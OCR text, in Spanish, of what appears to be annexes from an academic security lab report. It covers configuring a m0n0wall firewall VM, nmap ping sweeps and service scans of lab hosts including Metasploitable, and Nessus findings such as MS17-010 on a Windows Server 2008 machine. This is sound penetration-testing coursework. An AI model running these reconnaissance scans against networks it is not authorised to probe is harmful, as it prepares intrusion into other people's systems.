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FE P B R R R -I

Mame the Virtual Machine
What name would you like to use for this virtual machine?

Virtual machine name:

| Firewall-Monowall |

Location:
| C:\Usersiahd\Documents\Wirtual Machines\Firewall-Monowall | Browsze...
The default location can be changed at Edit > Preferences.
< Back Mext = Cancel
(B | Eeeas 1

En esta parte se le proporcionara el espacio para funcionamiento del sistema operativo,

se dejarad en 20 GB, y Next.

Mew Virtual Machine Wizard KTI

specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host
computer's physical disk. These file(s) start small and become larger as you
add applications, files, and data to your virtual machine.

Maximum disk size (GE): 20. 0[S

Recommended size for FreeBsD 64-hit: 20 GBE

() store virtual disk as a single file

(®) split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.

Help < Back Cancel

Finalmente, se le dara en el boton Finish y con ello se abra terminado de configurar para

ejecutar la instalacién.
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(B Bl W NN N RS e N SR N BN II

Ready to Create Virtual Machine

Click Finish to create the virtual machine, Then you can install FreeBsD
a4-hit,

The virtual machine will be created with the following settings:

Mame: Firewall-Monowall A
Location: Ci\sers\alx \DocumentsWirtual Machines\Firewall-M. ..
Version: Workstation 12.0

Operating System: FreeBSD 64-hit

Hard Disk: 20 GB, Split

Mernory: 256 ME

Metwork Adapter: MNAT

Other Devices: CD/OVD, USE Controller, Sound Card W

Customize Hardware...

< Back Finish Cancel
Y se obtiene la siguiente ventana

‘G} Home ﬁl Firewall-Monowall

ﬁ Firewall-Monowall

Power on this virtual machine
':EI Edit virtual machine settings

* Devices
M Memory 256 MB
[d Processors 1

ey Hard Diisk (SC51) 20 GB
) COVDVD (IDE) Using file D 201..,
¥ Network Adapter NAT
USE Controller Present
) Sound Card Auto detect
3| Display Auto detect

¥ Description
Type here to enter a description of this
virtual machine,

Para el caso del firewall monowall se tiene tener por lo minio dos interfaces de red, para
nuestro caso se adiciona dos tarjetas de red mas, con lo cual se obtien tres interfaces de

red, esto tanto para la zona LAN, WAN y DMZ, para ello se elige la opcién Network Adapter
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ﬁ Firewall-Monowall

P Power on this virtual machine
'JE_LIEu:IitVirtual machine settings

v Devices
i Mermory 256 MB
[ Processors 1

i Hard Disk (SC51) 20 GB
<) CO/DVD (1DE Using file D:4,201...

{Fm Metwork Adapter MAT

USE Controller Present
&) Sound Card Auto detect
I3 Display Auto detect

Este adaptador es el que viene por defecto en modo NAT, se procede a cambiar el modo

a BRIDGE; esta interfaz representara el nodo por el cual la red saldra a la zona WAN.

Device status
Connected
Connect at power on

Metwork connection

(®) Bridged: Connected directly to the physical network
[ ]Rreplicate physical network connection state

(_JMAT: Uzed to share the host's IP address

() Host-only: A private network shared with the host
() Custom: Spedific virtual network

VMnet2
O LAM segment:

LAM Segments... | | Advanced...

Luego de darle en el botdn ok, se obtiene la siguiente ventana
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ﬁ Firewall-Monowall

P Power on this virtual machine
':JE_I]Edit".-'il"tLlﬂ machine settings

* Devices
i fMermory 236 ME
[ Processors 1

iy Hard Diisk (SC51) 20 GB

) COYDVD (IDE) Using file DA 201...
[E|NE‘L'WDrk Adapter Bridged (Autom... I

USE Controller  Present

@) Sound Card Auto detect

| Display Auto detect

Ahora se eligi6 nuevamente en la opcion agregar nuevas tarjetas de red y debera
qguedarnos de la siguiente manera: una interfaz en modo bridge y dos en modo Custom

(VMnet2 — Vmnet3) tal como se observa en la imagen siguiente.

ﬁ Firewall-Monowall

P Power on this virtual machine
';E'IEdit virtual machine settings

* Devices
o M ernory 512 ME
[ Processors 1

et Hard Disk (SCSI) 20 GB

<y CO/OVD (IDE) Using file D201,
'EINetwcurkAdapter Bridged (Autom...
¥ Metwork Adapte... Custom (VMnet2)
¥ Metwork Adapte... Custom (VMnet3)

Usb Controller Hresent
&) Sound Card Auto detect
3| Display Auto detect

La interfaz que est4 en modo bridge sera para zona WAN, también se generé su MAC
para cada tarjeta esto con el propdésito de configurar las direcciones ip mas adelante puesto
que en la instalacion las tarjetas apareceran con un id y su respectiva MAC; para el caso
de este dispositivo su MAC es 00:50:56:33:66:89.

Para la interfaz Custom (VMnet2) su MAC es 00:50:56:3F:A6:00, esta tarjeta conectara la
zona LAN.
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Por ultimo se tiene la interfaz Custom (VMnet3) su MAC 00:50:56:37:14:A8, esta tarjeta

conectara con la zona DMZ.

Ahora se enciende la maquina emulando que se tiene puesto o cargado en la unidad éptica

del equipo el instalador del monowall.

ﬁ[ Home ﬁl Firewall-Monowall

ﬁ Firewall-Monowall

I Power on this virtual machine
ol Edit virtual machine settings

* Devices
o M ernory 512 MB
[ Processors 1

it Hard Disk (5C51) 20 GE

CO/OVD (IDE) Using file D201,
IEII'*-Jva’r-.ﬂ.nzurh:,l'l'u:la|:|tvar Bridged (Autom...
¥ MNetwork Adapte... Custom (VMnet2)
@Netuunrk.ﬂxdapte... Custom (VMnet3)
USE Controller  Present
@) Sound Card Auto detect
M| Display Auto detect

Nos aparecera una Shell con las opciones, se elige la opcién nimero 7, que es instalar.

LAN IP addre=s=s: 197.168.1.1
HAN IP address: (unknownl

Port configuration:

LAN -» emMA
LIAN -» =isl

HnBwall console setup
b JoE- 3o Jof Jof - Jeb JoE b oE S 0E Jeb IE o JE - BEBENE W
Interface=s: assign network ports
3et up LAN IP address
Reszet webGUI password
Reszet to factory defaults
Reboot system
Ping host
Install on Hard Driwve

Enter a nuMber:

A continuacion, pedira ingresar el nombre de nuestro disco duro que para el caso es “ad0”
de 20 GB, el mismo que se configuré al crear la maquina virtual; se confirma con la letra

9

y” el procedimiento.
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Enter a number: 7

Ualid disks are:

adf UMware Virtwal IDE Hard Drive BHABBBAAL 2H8.88 GB

Enter the device name you wish to install onto: adaf

Luego de ello se reinicia y muestra las siguientes opciones, para proceder con la

configuracion légica de las interfaces se selecciona la opcion 1.

=»xx This is HWAnAwWall, version 1.8.1
built on HWed Jan 15 13:32:38 CET 2814 for
Copyright (C) 28B82-2814 by Manuel Hasper.
Uisit http://mBnB.ch/wall for updates.

LAN IP addre=s=: 192.168.1.1
HAN IP addres=s: (unknownl

Port configuration:

LAN -» eHA
HAN -» gi=l

MBnBlall console szetup

336 0E 3 3oE JE 6 -E - E-BE -3E-3E E 6B E-E-BEBE-BEE

1) Interfaces: assign network ports
2) Set up LAN IP address

3) Reset webGUI password

4) Reset to factory defaults

5) Reboot =systen

6) Ping host

Enter a number: [

Se tiene la siguiente ventana

5) Reboot system
6) Ping host

Enter a number: 1

UValid interfaces are:
AR:5A:56:33:66:89 Intel(R) PRO-188B8 Legacy
AA:58:56:3f :aG:HAA Intel(R) PRO-18BB Legacy
AA:5A:56:37:14:a8 Intel(R) PRD-1888 Legacy

Hote that wWireless LAN interfaces are not included in the 1li
they can be set up through the webGUI later om.

Do you want to set up ULAN= first?
If you're not going to use ULANs, or only for optional inte
should =ay no here and use the webGUI to configure ULANHs la
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Como se podra observar en la imagen anterior se tiene tres interfaces y con sus

respectivas MAC, este ultimo parametro servira para identificar el tipo de tarjeta.

00:50:56:33:66:89 zona WAN (bridge) em8
00:50:56:3F:A6:00 zona LAN (vmnet2) eml
00:50:56:37:14:A8 zona DMZ (vmnet3) em2

En la siguiente imagen se ingresa los identificadores para cada interfaz y una vez finalizado

se confirma reiniciar.

Do you want to set up ULANs now? (s nl) n

If you don’t know the names of your interfaces, you may choose to use
auto-detection. In that case, discommect all interfaces before you beg
and reconnect each one when prompted to do so.

Enter the(LAN)Jinterface namMe or 'a’ for auto-detection: (eml

Enter the (HAN}interface namMe or 'a’ for auto-detection: {emd

Enter the Optional 1 interfage name or 'a’ for auto-detection
(or nothing if finished):(emn2

Enter the Optional 2 interface name or 'a’ for auto-detection
(or nothing if finished):

The interfaces wWwill be assigned as follows:
LAN -> eml
HAN -> emB
OPT1 -> em2

The firewall wWill reboot after saving the changes.

Do you want to proceed? (ysn) yjj

Una que se reinicia la maquina muestra las siguientes opciones, elegir el niumero “2” con
ello le se asigna la IP a la interfaz LAN, que como se plasmoé en el disefio 16gico de la
infraestructura sera el 192.168.230.1.
413 Reszet to factory defaults
523 Reboot swystem
61 Ping host
Enter a number: 2
Enter the wnew|LAN IP |addre=s=s: |192.168.238.1
Subnet masks are entered as bit counts (as in CIDR wnotatio
e.g. 255.255.255.0@ 24
255._ 255.48.8 16
255.8.68.8 8

Enter the new LAN =ubnet bit count: |24

Do you wWant to enable the DHCP serwver on LAH? (y-nl) |n

The LAH IP addre=ss has been =s=et to 192_168.238.1.-24.
You can nmoW access the webGUI by opening the following URL
in your browser:

http:~~192.168.238. 1~

Se asign6 la direccion IP y la mascara de sub red; de momento no se habilita el DHCP y

se procede a reiniciar.
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Utilizando una interfaz web desde otra maquina que se encuentre en el mismo segmento

se procede a configurar la interfaz WAN y DMZ.

(5} DMZ-WinSer2008 Hfﬁ FirewallMonowall l (5 LAN-Windows 7 %

[5‘ DMZ-FreeNas

min0wall.local - Interfaces: Op X ‘

(¢ @ @ ® 192.168.230.1/interfaces_opt.phpZindex=1 120 e @ Ty

LF Més visitados e Comenzar a usar Firefox @ Galeria de Web Slice @ Sitios sugeridos

webGUI Configuration

Svséﬁﬂra. e Interfaces: Optional 1 (OPT1)

s i 2l secondary s |
= Prima configuration Seconda IPs
Firmware ry config A

Advanced
User manager Enable Optional 1 interface

Interfaces (assign)
LAN

Description DMZ
Enter a description (name) for the interface here.

S
1P configuration
Rules

NAT Bridge with none -
Traffic shaper
Aliases IP address [ 31~

Services
DNS forwarder
Dynamic DNS

DHCP server Note:
= he aire tn add firewall rules tn nermit traffic thrnnobthao
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Anexo C: Comandos de la fase scanning

Realizacion de ping Sweep: Identificar una red, para proceder a realizar un barrido de ping

para identificar host activos en la red se utilizé el siguiente comando:

nmap -sP 192.168.230.0/24

File Edit View Search Terminal Help

:~# nmap -sP 192.168.230.0/24
Starting Nmap 7.70 ( https://nmap 6 13:07 EST
Nmap scan report for mOnOwall. PC FIREWALL
Host is up (0.00089s latency).
MAC Address: 00:50:56:2A:D
Nmap scan report for
Host is up (0.00057s :

MAC Address: 00:0C:29:B4:90:B8 (VMware)
Nmap scan report for [192.168.230.4 PC UBUNTU

Host is up (0.00033s latency).

MAC Address: 00:0C:29:2C:B2:8D (VMware)

Nmap scan report for PC Windows xp
Host is up (0.00035s latency).

MAC Address: 00:0C:29:5A:28:56 (VMware)

Nmap scan report for |1 ; PC UNIX
Host is up (0.00014s

MAC Address: 00:0C:29; Mware)
Nmap scan report for |1 68.230.101| KALILINUX

Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 2.76 seconds

£ I

Como se puede observar en la imagen anterior se listo todas la maquinas activas de la

zona LAN; se procedera a escanear los puertos abierto y los respectivos servicios.
Sobre el equipo Windows 7, se utilizé el comando nmap 192.168.230.2

:~# nmap 192.168.230.2

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 14:24 EST
Nmap scan report for 192.168.230.2
Host is up (0.0058s latency).
Not shown: 991 closed ports

SERVICE

msrpc

netbios-ssn

microsoft-ds
49152/tcp unknown
49153/tcp unknown
49154 /tcp unknown
49155/tcp unknown
49156/tcp unknown
49157 /tcp unknown

RC Add T0C:29:84:90: (VMware)

Se tiene los puertos abiertos en la maquina, ahora se ejecuta el comando nmap
192.168.230.2 —p 135,139,445,49152,49153,49154,49155,49156,49157 —sV; esto

permite tener la versién de los distintos servicios tal como se muestra a continuacién
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:~# nmap 192.168.230.2 -p 135,139,445,49152,49153,49154,49155,49156,49157 -
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 14:34 EST
Nmap scan report for 192.168.230.2
Host is up (0.00086s latency).

open
open
open

open
open
open
open
49156/tcp open
49157/tcp open
MAC Address: 00:

netbios-ssn
microsoft-ds

msrpc
msrpc
msrpc
msrpc
msrpc
msrpc

Microsoft
Microsoft

Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft

Windows
Windows
Windows

Windows
Windows
Windows
Windows
Windows
Windows

RPC
RPC
RPC
RPC
RPC

0C:29:B4:90:B8 (VMware)

Service Info: Host: THUNDERCATS; 0S: Windows; CPE: cpe:/p:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/su

bmit/ .

Nmap done: 1 IP address (1 host up) scanned in 74.63 seconds

t~# I

Sobre el equipo Linux Mestasploitables, se utiliza el comando nmap 192.168.230.100

:~# nmap 192.168.230.100
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 14:48 EST
Nmap scan report for 192.168.230.100

Host is u

STATE
open
open
open
open
open
open
open
open
open
open
open
open
1099/tcp open
1524/tcp open
open
open
open
open
open
open
open
open

SERVICE

ftp

ssh

telnet

smtp

domain

http
rpcbind
netbios-ssn
microsoft-ds
exec

login

shell
rmiregistry
ingreslock
nfs
ccproxy-ftp
mysql
postgresql
vNnC

X11

irc

ajpl3

PC LINUX
METASPLOITABLES

LISTA DE
PUERTOS ABIERTOS

Se tiene los puertos abiertos en la maquina, ahora se ejecuta el comando nmap

192.168.230.100

P

21,22,23,25,53,80,111,139,445,512,513,514,1099,1524,2049,2121,3306,5432,5900,600

0,6667,8009,8180 -sV; esto permitira tener la version de los distintos servicios tal como se

muestra a continuacién
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:~# nmap 192.168.230.100 -p 21,22,23,25,53,80,111,139,445,512,513,514,1099,1524,2049,2121,33
0,6000,6667,8009,8180 -sV
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 14:57 EST
Nmap scan report for 192.168.230.100
Host is up (0.0022s latency).

STATE SERVICE VERSION

open ftp vsftpd 2.3.4

open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)

open telnet?

open smtp Postfix smtpd

open domain ISC BIND 9.4.2

open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

open rpcbind 2 (RPC #100000)

open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) SISTEMA LINUX
open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

open exec?

open login? LISTA DE PUERTOS,

open shell?
rmiregistry GNU Classpath grmiregi SERVICIOS Y VERSION

Sobre el equipo unix FreeBSD, se utiliza el comando nmap 192.168.230.4

:~# nmap 192.168.230.4
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 15:41 EST
Nmap scan report for 192.168.230.4
Host is up (0.00053s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:2C:B2:8D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

~# I

Se tiene los puertos abiertos en la maquina, ahora se ejecuta el comando nmap
192.168.230.4 -p 80 -sV; esto permitira tener la version de los distintos servicios tal como

se muestra a continuacién

:~# nmap 192.168.230.4 -p 80 -sV
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-06 15:49 EST
Nmap scan report for 192.168.230.4
Host is up (0.00057s latency).

PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
MAC Address: 00:0C:29:2C:B2:8D (VMware)

Service detection performed. Please report any incorrect results at
.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 9.25 seconds

c~¥# I
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Anexo D: reporte detallado de analisis de vulnerabilidades

Nessus )

SCAN WINDOWS SERVER 2008
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192.168.231.141

1 LOw WFO

CRmCAL HIGH MEDLIN

Scan Information

Start time: Fri Mar 08 20:39:25 2019

End time: Fri Mar 08 20:49:39 2019

Host Information

DNS Name: WIN-CI1SH40HKHN

Netbios Name: WIN-CI1SH40HKHN

IP: 192,168.231.141

MAC Address: 00:0C:29:34:79:54

0s: Microsoft Windows Server 2008 Standard Service Pack 1
Vulnerabilities

40887 - MS09-050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback() Vulnerability

(975497) (EDUCATEDSCHOLAR) (uncredentialed check)

Synopsis
Arbitrary code may be executed on the remote host through the SMB port

Description

The remote host is running a version of Microsoft Windows Vista or Windows Server 2008 that contains a
vulnerability in its SMBv2 implementation. An attacker can exploit this flaw to disable the remote host or to
execute arbitrary code on it.

EDUCATEDSCHOLAR is one of multiple Equation Group vulnerabilities and exploits disclosed on 2017/04/14 by
a group known as the Shadow Brokers.

See Also

http//www.nessus.org/u?0f72ec72
https2//docs.microsoft. com/en-us/security-updates/SecurityBulletins/2009/ms03-050

Solution
Microsoft has released a patch for Windows Vista and Windows Server 2008.
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Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVS5:3.0/AVNACLPRNUNSLICHTHAH)

CVSS v3.0 Temporal Score

9.4 (CV55:3.0/E:H/RL-O/RC:C)

CVSS Base Score

10,0 (CVSS2# AV NAC LAUNIC.CNCIAC)

CVSS Temporal Score

8.7 (CVSS2#E:H/RL:OFRC:C)

References

BID 36299

BID 36594

CVE CVE-2009-2532
CVE CVE-2009-3103
MSKB 97497

XREF MSFT:MS09-050
XREF CERT:135940
XREF EDB-ID2594
XREF EDEB-ID:10005
XREF EDB-ID:12524
XREF EDEB-ID:14674
XREF EDEB-ID:16363
XREF CWE:94

XREF CWE:339
Exploitable With

CAMVAS (true) Core Impact (true) Metaspiloit (true)

Plugin Information:

Published: 2004/09/08, Modified: 20181113

Plugin Output
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97833 - MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE)
(ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks)

{Petya) (uncredentialed check)

Synopsis
The remote Windows host is affected by multiple vulnerabilities.

Description
The remote Windows host is affected by the following vulnerabilities :

- Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to
improper handling of certain requests. An unauthenficated, remote attacker can exploit these vulnerabilities,
via a specially crafted packet, to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145,
CVE-2017-0146, CVE-2017-0148)

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper
handling of certain requests. An unauthenticated, remote attacker can exploit this, via a specially crafted packet,
to disclose sensitive information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple
Equation Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers.
WannaCry / WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit, and EtemalRocks

is a worm that utilizes seven Equation Group vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads via ETERNALBLUE.

See Also

http//www.nessus.org/u?68fcBeft
http//www.nessus.org/u?321523eb
http//www.nessus.org/u?065561d0
http//www.nessus.org/u?d9f569ct
httpsZ/blogs.technet. microsoft.com/filecab/2016/09/16/stop-using-smb1/
httpZ/Awww.nessus.org/u?b9d9ebf9
http//www.nessus.org/u?8dcabSed
http//www.nessus.org'u?23418ei8
http//www.nessus.org/u?4c7e0ci3
https//github.com/stamparm/EternalRocks/
http//www.nessus.org/u?5%b5b5b

Solution

Microsoit has released a set of patches for Windows Vista, 2008, 7, 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10,
and 2016. Microsoft has also released emergency patches for Windows operating systems that are no longer
supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Micresoft recommends that users discontinue
the use of SMBv1. SMBv1 lacks security features that were included in later SMB versions. SMBv1 can

168 231 141
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be disabled by following the vendor instructions provided in Microsoft KBE2696547. Additionally, US-CERT
recommends that users block SMB directly by blocking TGP port 445 on all network boundary devices. For SMB
over the NetBIOS AP, block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

Rizk Factor

Critical

CVSS v3.0 Base Score

8.1 (CVS5:3.0/AV-NACHPRNUINS WG HTHAH)

CVSS v3.0 Temporal Score
7.7 (CV55:3.0/E:H/RL:0/RC:C)

CVSS Base Score
10,0 (CVSS2#AV N/ACL/AUN/C.CNLCIAC)

CVSS Temporal Score

8.7 (CVS524#E:HRL:OFRCLC)

STIG Severity

I

References

BID 96703

BID 96704

BID 96705

BID 96706

BID 96707

BID 96709

CVE CVE-2017-0143
CVE CVE-2017-0144
CVE CVE-2017-0143
CVE CVE-2017-0146
CVE CVE-2017-0147
CVE CVE-2017-0148
MSKB 4012212
MSKB 4012213
MSKB 4012214
MSKB 4012215
MSKB 4012216
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MSKB 4012217

MSKB 4012606
MSKB 4013198

MSKB 4013429

MSKB 4012598

XREF EDE-ID:41891
XREF EDB-ID:41987
XREF MSFT-MS17-010
XREF IAVA2017-A-0065
Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information:

Published: 2017/03/20, Modified: 2019/02/26

Plugin Output

icp/4d5

192188 231.141
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58435 - MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387)

(uncredentialed check)

Synopsis
The remote Windows host could allow arbitrary code execution.

Description

An arbitrary remote code vulnerability exists in the implementation of the Remote Desktop Protocol (RDP) on the
remote Windows host. The vulnerability is due to the way that RDP accesses an object in memory that has been
improperly initialized or has been deleted.

If RDP has been enabled on the affected system, an unauthenticated, remote attacker could leverage this
vulnerability to cause the system to execute arbitrary code by sending a sequence of specially crafted RDP
packets to it.

This plugin also checks for a denial of service vulnerability in Microsoft Terminal Server.

Note that this script does not detect the vulnerability if the "Allow connections only from computers running
Remote Desktop with Network Level Authentication” setting is enabled or the security layer is set to 'SSL (TLS
1.0)" on the remote host.

See Also

https//docs.microsoft.com/en-us/security-updates/SecurityBulletins/2012/ms12-020

Solution

Microsoft has released a set of patches for Windows XP, 2003, Vista, 2008, 7, and 2008 R2.

Note that an extended support contract with Microsoft is required to obtain the patch for this vulnerability for
Windows 2000.

Risk Factor

High

CVSS Base Score
9.3 (CVSS2#AV:N'AC:M/Au:N/C:C/I:C/AC)

CVSS Temporal Score
7.3 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity
|

192168 231 140 AL
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BID 52353

BID 52354

CVE CVE-2012-0002
CVE CVE-2012-0152
MSKB 2621440

MSKB 2667402

XREF EDE-ID: 18606
¥REF MSFT-MS12-020
¥REF 1AVA-2012-A-0039
Exploitable With

CANVAS (trus) Core Impact {trus) Metasploit (true)

Plugin Information:

Published: 2012/03/22, Modified: 2019/03/06

Plugin Output
icp/3389

192188 231.141 11
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